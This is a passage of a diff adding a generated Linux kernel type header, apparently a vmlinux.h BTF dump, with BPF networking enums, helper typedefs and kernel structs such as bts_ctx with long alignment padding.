skb_hwtstamp; +}; + +enum { + TCP_BPF_IW = 1001, + TCP_BPF_SNDCWND_CLAMP = 1002, + TCP_BPF_DELACK_MAX = 1003, + TCP_BPF_RTO_MIN = 1004, + TCP_BPF_SYN = 1005, + TCP_BPF_SYN_IP = 1006, + TCP_BPF_SYN_MAC = 1007, +}; + +enum { + BPF_LOAD_HDR_OPT_TCP_SYN = 1, +}; + +enum { + BPF_FIB_LOOKUP_DIRECT = 1, + BPF_FIB_LOOKUP_OUTPUT = 2, + BPF_FIB_LOOKUP_SKIP_NEIGH = 4, +}; + +enum { + BPF_FIB_LKUP_RET_SUCCESS = 0, + BPF_FIB_LKUP_RET_BLACKHOLE = 1, + BPF_FIB_LKUP_RET_UNREACHABLE = 2, + BPF_FIB_LKUP_RET_PROHIBIT = 3, + BPF_FIB_LKUP_RET_NOT_FWDED = 4, + BPF_FIB_LKUP_RET_FWD_DISABLED = 5, + BPF_FIB_LKUP_RET_UNSUPP_LWT = 6, + BPF_FIB_LKUP_RET_NO_NEIGH = 7, + BPF_FIB_LKUP_RET_FRAG_NEEDED = 8, +}; + +struct bpf_fib_lookup { + __u8 family; + __u8 l4_protocol; + __be16 sport; + __be16 dport; + union { + __u16 tot_len; + __u16 mtu_result; + }; + __u32 ifindex; + union { + __u8 tos; + __be32 flowinfo; + __u32 rt_metric; + }; + union { + __be32 ipv4_src; + __u32 ipv6_src[4]; + }; + union { + __be32 ipv4_dst; + __u32 ipv6_dst[4]; + }; + __be16 h_vlan_proto; + __be16 h_vlan_TCI; + __u8 smac[6]; + __u8 dmac[6]; +}; + +struct bpf_redir_neigh { + __u32 nh_family; + union { + __be32 ipv4_nh; + __u32 ipv6_nh[4]; + }; +}; + +enum bpf_check_mtu_flags { + BPF_MTU_CHK_SEGS = 1, +}; + +enum bpf_check_mtu_ret { + BPF_MTU_CHK_RET_SUCCESS = 0, + BPF_MTU_CHK_RET_FRAG_NEEDED = 1, + BPF_MTU_CHK_RET_SEGS_TOOBIG = 2, +}; + +struct bpf_sk_lookup { + union { + union { + struct bpf_sock *sk; + }; + __u64 cookie; + }; + __u32 family; + __u32 protocol; + __u32 remote_ip4; + __u32 remote_ip6[4]; + __be16 remote_port; + __u32 local_ip4; + __u32 local_ip6[4]; + __u32 local_port; + __u32 ingress_ifindex; +}; + +struct sk_reuseport_kern { + struct sk_buff *skb; + struct sock *sk; + struct sock *selected_sk; + struct sock *migrating_sk; + void *data_end; + u32 hash; + u32 reuseport_id; + bool bind_inany; +}; + +struct compat_sock_fprog { + u16 len; + compat_uptr_t filter; +}; + +typedef int (*bpf_aux_classic_check_t)(struct sock_filter *, unsigned int); + +struct udp6_sock { + struct udp_sock udp; + struct ipv6_pinfo inet6; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct tcp6_sock { + struct tcp_sock tcp; + struct ipv6_pinfo inet6; +}; + +struct tls_msg { + u8 control; +}; + +struct sk_skb_cb { + unsigned char data[20]; + unsigned char pad[4]; + struct _strp_msg strp; + struct tls_msg tls; + u64 temp_reg; +}; + +typedef u64 (*btf_bpf_skb_get_pay_offset)(struct sk_buff *); + +typedef u64 (*btf_bpf_skb_get_nlattr)(struct sk_buff *, u32, u32); + +typedef u64 (*btf_bpf_skb_get_nlattr_nest)(struct sk_buff *, u32, u32); + +typedef u64 (*btf_bpf_skb_load_helper_8)(const struct sk_buff *, const void *, int, int); + +typedef u64 (*btf_bpf_skb_load_helper_8_no_cache)(const struct sk_buff *, int); + +typedef u64 (*btf_bpf_skb_load_helper_16)(const struct sk_buff *, const void *, int, int); + +typedef u64 (*btf_bpf_skb_load_helper_16_no_cache)(const struct sk_buff *, int); + +typedef u64 (*btf_bpf_skb_load_helper_32)(const struct sk_buff *, const void *, int, int); + +typedef u64 (*btf_bpf_skb_load_helper_32_no_cache)(const struct sk_buff *, int); + +struct bpf_scratchpad { + union { + __be32 diff[128]; + u8 buff[512]; + }; +}; + +typedef u64 (*btf_bpf_skb_store_bytes)(struct sk_buff *, u32, const void *, u32, u64); + +typedef u64 (*btf_bpf_skb_load_bytes)(const struct sk_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_flow_dissector_load_bytes)(const struct bpf_flow_dissector *, u32, void *, u32); + +typedef u64 (*btf_bpf_skb_load_bytes_relative)(const struct sk_buff *, u32, void *, u32, u32); + +typedef u64 (*btf_bpf_skb_pull_data)(struct sk_buff *, u32); + +typedef u64 (*btf_bpf_sk_fullsock)(struct sock *); + +typedef u64 (*btf_sk_skb_pull_data)(struct sk_buff *, u32); + +typedef u64 (*btf_bpf_l3_csum_replace)(struct sk_buff *, u32, u64, u64, u64); + +typedef u64 (*btf_bpf_l4_csum_replace)(struct sk_buff *, u32, u64, u64, u64); + +typedef u64 (*btf_bpf_csum_diff)(__be32 *, u32, __be32 *, u32, __wsum); + +typedef u64 (*btf_bpf_csum_update)(struct sk_buff *, __wsum); + +typedef u64 (*btf_bpf_csum_level)(struct sk_buff *, u64); + +enum { + BPF_F_NEIGH = 2, + BPF_F_PEER = 4, + BPF_F_NEXTHOP = 8, +}; + +typedef u64 (*btf_bpf_clone_redirect)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_bpf_redirect)(u32, u64); + +typedef u64 (*btf_bpf_redirect_peer)(u32, u64); + +typedef u64 (*btf_bpf_redirect_neigh)(u32, struct bpf_redir_neigh *, int, u64); + +typedef u64 (*btf_bpf_msg_apply_bytes)(struct sk_msg *, u32); + +typedef u64 (*btf_bpf_msg_cork_bytes)(struct sk_msg *, u32); + +typedef u64 (*btf_bpf_msg_pull_data)(struct sk_msg *, u32, u32, u64); + +typedef u64 (*btf_bpf_msg_push_data)(struct sk_msg *, u32, u32, u64); + +typedef u64 (*btf_bpf_msg_pop_data)(struct sk_msg *, u32, u32, u64); + +typedef u64 (*btf_bpf_get_cgroup_classid_curr)(); + +typedef u64 (*btf_bpf_skb_cgroup_classid)(const struct sk_buff *); + +typedef u64 (*btf_bpf_get_cgroup_classid)(const struct sk_buff *); + +typedef u64 (*btf_bpf_get_route_realm)(const struct sk_buff *); + +typedef u64 (*btf_bpf_get_hash_recalc)(struct sk_buff *); + +typedef u64 (*btf_bpf_set_hash_invalid)(struct sk_buff *); + +typedef u64 (*btf_bpf_set_hash)(struct sk_buff *, u32); + +typedef u64 (*btf_bpf_skb_vlan_push)(struct sk_buff *, __be16, u16); + +typedef u64 (*btf_bpf_skb_vlan_pop)(struct sk_buff *); + +typedef u64 (*btf_bpf_skb_change_proto)(struct sk_buff *, __be16, u64); + +typedef u64 (*btf_bpf_skb_change_type)(struct sk_buff *, u32); + +typedef u64 (*btf_sk_skb_adjust_room)(struct sk_buff *, s32, u32, u64); + +typedef u64 (*btf_bpf_skb_adjust_room)(struct sk_buff *, s32, u32, u64); + +typedef u64 (*btf_bpf_skb_change_tail)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_sk_skb_change_tail)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_bpf_skb_change_head)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_sk_skb_change_head)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_bpf_xdp_get_buff_len)(struct xdp_buff *); + +typedef u64 (*btf_bpf_xdp_adjust_head)(struct xdp_buff *, int); + +typedef u64 (*btf_bpf_xdp_load_bytes)(struct xdp_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_xdp_store_bytes)(struct xdp_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_xdp_adjust_tail)(struct xdp_buff *, int); + +typedef u64 (*btf_bpf_xdp_adjust_meta)(struct xdp_buff *, int); + +typedef u64 (*btf_bpf_xdp_redirect)(u32, u64); + +typedef u64 (*btf_bpf_xdp_redirect_map)(struct bpf_map *, u64, u64); + +typedef u64 (*btf_bpf_skb_event_output)(struct sk_buff *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_skb_get_tunnel_key)(struct sk_buff *, struct bpf_tunnel_key *, u32, u64); + +typedef u64 (*btf_bpf_skb_get_tunnel_opt)(struct sk_buff *, u8 *, u32); + +typedef u64 (*btf_bpf_skb_set_tunnel_key)(struct sk_buff *, const struct bpf_tunnel_key *, u32, u64); + +typedef u64 (*btf_bpf_skb_set_tunnel_opt)(struct sk_buff *, const u8 *, u32); + +typedef u64 (*btf_bpf_skb_under_cgroup)(struct sk_buff *, struct bpf_map *, u32); + +typedef u64 (*btf_bpf_skb_cgroup_id)(const struct sk_buff *); + +typedef u64 (*btf_bpf_skb_ancestor_cgroup_id)(const struct sk_buff *, int); + +typedef u64 (*btf_bpf_sk_cgroup_id)(struct sock *); + +typedef u64 (*btf_bpf_sk_ancestor_cgroup_id)(struct sock *, int); + +typedef u64 (*btf_bpf_xdp_event_output)(struct xdp_buff *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_get_socket_cookie)(struct sk_buff *); + +typedef u64 (*btf_bpf_get_socket_cookie_sock_addr)(struct bpf_sock_addr_kern *); + +typedef u64 (*btf_bpf_get_socket_cookie_sock)(struct sock *); + +typedef u64 (*btf_bpf_get_socket_ptr_cookie)(struct sock *); + +typedef u64 (*btf_bpf_get_socket_cookie_sock_ops)(struct bpf_sock_ops_kern *); + +typedef u64 (*btf_bpf_get_netns_cookie_sock)(struct sock *); + +typedef u64 (*btf_bpf_get_netns_cookie_sock_addr)(struct bpf_sock_addr_kern *); + +typedef u64 (*btf_bpf_get_netns_cookie_sock_ops)(struct bpf_sock_ops_kern *); + +typedef u64 (*btf_bpf_get_netns_cookie_sk_msg)(struct sk_msg *); + +typedef u64 (*btf_bpf_get_socket_uid)(struct sk_buff *); + +typedef u64 (*btf_bpf_sk_setsockopt)(struct sock *, int, int, char *, int); + +typedef u64 (*btf_bpf_sk_getsockopt)(struct sock *, int, int, char *, int); + +typedef u64 (*btf_bpf_unlocked_sk_setsockopt)(struct sock *, int, int, char *, int); + +typedef u64 (*btf_bpf_unlocked_sk_getsockopt)(struct sock *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_addr_setsockopt)(struct bpf_sock_addr_kern *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_addr_getsockopt)(struct bpf_sock_addr_kern *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_ops_setsockopt)(struct bpf_sock_ops_kern *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_ops_getsockopt)(struct bpf_sock_ops_kern *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_ops_cb_flags_set)(struct bpf_sock_ops_kern *, int); + +typedef u64 (*btf_bpf_bind)(struct bpf_sock_addr_kern *, struct sockaddr *, int); + +typedef u64 (*btf_bpf_skb_get_xfrm_state)(struct sk_buff *, u32, struct bpf_xfrm_state *, u32, u64); + +typedef u64 (*btf_bpf_xdp_fib_lookup)(struct xdp_buff *, struct bpf_fib_lookup *, int, u32); + +typedef u64 (*btf_bpf_skb_fib_lookup)(struct sk_buff *, struct bpf_fib_lookup *, int, u32); + +typedef u64 (*btf_bpf_skb_check_mtu)(struct sk_buff *, u32, u32 *, s32, u64); + +typedef u64 (*btf_bpf_xdp_check_mtu)(struct xdp_buff *, u32, u32 *, s32, u64); + +typedef u64 (*btf_bpf_lwt_in_push_encap)(struct sk_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_lwt_xmit_push_encap)(struct sk_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_lwt_seg6_store_bytes)(struct sk_buff *, u32, const void *, u32); + +typedef u64 (*btf_bpf_lwt_seg6_action)(struct sk_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_lwt_seg6_adjust_srh)(struct sk_buff *, u32, s32); + +typedef u64 (*btf_bpf_skc_lookup_tcp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sk_lookup_tcp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sk_lookup_udp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sk_release)(struct sock *); + +typedef u64 (*btf_bpf_xdp_sk_lookup_udp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); + +typedef u64 (*btf_bpf_xdp_skc_lookup_tcp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); + +typedef u64 (*btf_bpf_xdp_sk_lookup_tcp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); + +typedef u64 (*btf_bpf_sock_addr_skc_lookup_tcp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sock_addr_sk_lookup_tcp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sock_addr_sk_lookup_udp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_tcp_sock)(struct sock *); + +typedef u64 (*btf_bpf_get_listener_sock)(struct sock *); + +typedef u64 (*btf_bpf_skb_ecn_set_ce)(struct sk_buff *); + +typedef u64 (*btf_bpf_tcp_check_syncookie)(struct sock *, void *, u32, struct tcphdr *, u32); + +typedef u64 (*btf_bpf_tcp_gen_syncookie)(struct sock *, void *, u32, struct tcphdr *, u32); + +typedef u64 (*btf_bpf_sk_assign)(struct sk_buff *, struct sock *, u64); + +typedef u64 (*btf_bpf_sock_ops_load_hdr_opt)(struct bpf_sock_ops_kern *, void *, u32, u64); + +typedef u64 (*btf_bpf_sock_ops_store_hdr_opt)(struct bpf_sock_ops_kern *, const void *, u32, u64); + +typedef u64 (*btf_bpf_sock_ops_reserve_hdr_opt)(struct bpf_sock_ops_kern *, u32, u64); + +typedef u64 (*btf_bpf_skb_set_tstamp)(struct sk_buff *, u64, u32); + +typedef u64 (*btf_bpf_tcp_raw_gen_syncookie_ipv4)(struct iphdr *, struct tcphdr *, u32); + +typedef u64 (*btf_bpf_tcp_raw_gen_syncookie_ipv6)(struct ipv6hdr *, struct tcphdr *, u32); + +typedef u64 (*btf_bpf_tcp_raw_check_syncookie_ipv4)(struct iphdr *, struct tcphdr *); + +typedef u64 (*btf_bpf_tcp_raw_check_syncookie_ipv6)(struct ipv6hdr *, struct tcphdr *); + +typedef u64 (*btf_sk_select_reuseport)(struct sk_reuseport_kern *, struct bpf_map *, void *, u32); + +typedef u64 (*btf_sk_reuseport_load_bytes)(const struct sk_reuseport_kern *, u32, void *, u32); + +typedef u64 (*btf_sk_reuseport_load_bytes_relative)(const struct sk_reuseport_kern *, u32, void *, u32, u32); + +typedef u64 (*btf_bpf_sk_lookup_assign)(struct bpf_sk_lookup_kern *, struct sock *, u64); + +typedef u64 (*btf_bpf_skc_to_tcp6_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_tcp_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_tcp_timewait_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_tcp_request_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_udp6_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_unix_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_mptcp_sock)(struct sock *); + +typedef u64 (*btf_bpf_sock_from_file)(struct file *); + +struct unix_sock; + +struct rtentry { + long unsigned int rt_pad1; + struct sockaddr rt_dst; + struct sockaddr rt_gateway; + struct sockaddr rt_genmask; + short unsigned int rt_flags; + short int rt_pad2; + long unsigned int rt_pad3; + void *rt_pad4; + short int rt_metric; + char *rt_dev; + long unsigned int rt_mtu; + long unsigned int rt_window; + short unsigned int rt_irtt; +}; + +struct guehdr { + union { + struct { + __u8 hlen: 5; + __u8 control: 1; + __u8 version: 2; + __u8 proto_ctype; + __be16 flags; + }; + __be32 word; + }; +}; + +enum { + FOU_ENCAP_UNSPEC = 0, + FOU_ENCAP_DIRECT = 1, + FOU_ENCAP_GUE = 2, +}; + +struct fou { + struct socket *sock; + u8 protocol; + u8 flags; + __be16 port; + u8 family; + u16 type; + struct list_head list; + struct callback_head rcu; +}; + +struct fou_cfg { + u16 type; + u8 protocol; + u8 flags; + struct udp_port_cfg udp_config; +}; + +struct fou_net { + struct list_head fou_list; + struct mutex fou_lock; +}; + +struct bpf_xfrm_info { + u32 if_id; + int link; +}; + +struct calipso_map_cache_bkt { + spinlock_t lock; + u32 size; + struct list_head list; +}; + +struct calipso_map_cache_entry { + u32 hash; + unsigned char *key; + size_t key_len; + struct netlbl_lsm_cache *lsm_data; + u32 activity; + struct list_head list; +}; + +enum { + NLBL_CIPSOV4_C_UNSPEC = 0, + NLBL_CIPSOV4_C_ADD = 1, + NLBL_CIPSOV4_C_REMOVE = 2, + NLBL_CIPSOV4_C_LIST = 3, + NLBL_CIPSOV4_C_LISTALL = 4, + __NLBL_CIPSOV4_C_MAX = 5, +}; + +enum { + NLBL_CIPSOV4_A_UNSPEC = 0, + NLBL_CIPSOV4_A_DOI = 1, + NLBL_CIPSOV4_A_MTYPE = 2, + NLBL_CIPSOV4_A_TAG = 3, + NLBL_CIPSOV4_A_TAGLST = 4, + NLBL_CIPSOV4_A_MLSLVLLOC = 5, + NLBL_CIPSOV4_A_MLSLVLREM = 6, + NLBL_CIPSOV4_A_MLSLVL = 7, + NLBL_CIPSOV4_A_MLSLVLLST = 8, + NLBL_CIPSOV4_A_MLSCATLOC = 9, + NLBL_CIPSOV4_A_MLSCATREM = 10, + NLBL_CIPSOV4_A_MLSCAT = 11, + NLBL_CIPSOV4_A_MLSCATLST = 12, + __NLBL_CIPSOV4_A_MAX = 13, +}; + +struct netlbl_cipsov4_doiwalk_arg { + struct netlink_callback *nl_cb; + struct sk_buff *skb; + u32 seq; +}; + +enum { + LOGIC_PIO_INDIRECT = 0, + LOGIC_PIO_CPU_MMIO = 1, +}; + +struct logic_pio_host_ops; + +struct logic_pio_hwaddr { + struct list_head list; + struct fwnode_handle *fwnode; + resource_size_t hw_start; + resource_size_t io_start; + resource_size_t size; + long unsigned int flags; + void *hostdata; + const struct logic_pio_host_ops *ops; +}; + +struct logic_pio_host_ops { + u32 (*in)(void *, long unsigned int, size_t); + void (*out)(void *, long unsigned int, u32, size_t); + u32 (*ins)(void *, long unsigned int, void *, size_t, unsigned int); + void (*outs)(void *, long unsigned int, const void *, size_t, unsigned int); +}; + +struct bts_ctx { + struct perf_output_handle handle; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct debug_store ds_back; + int state; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + 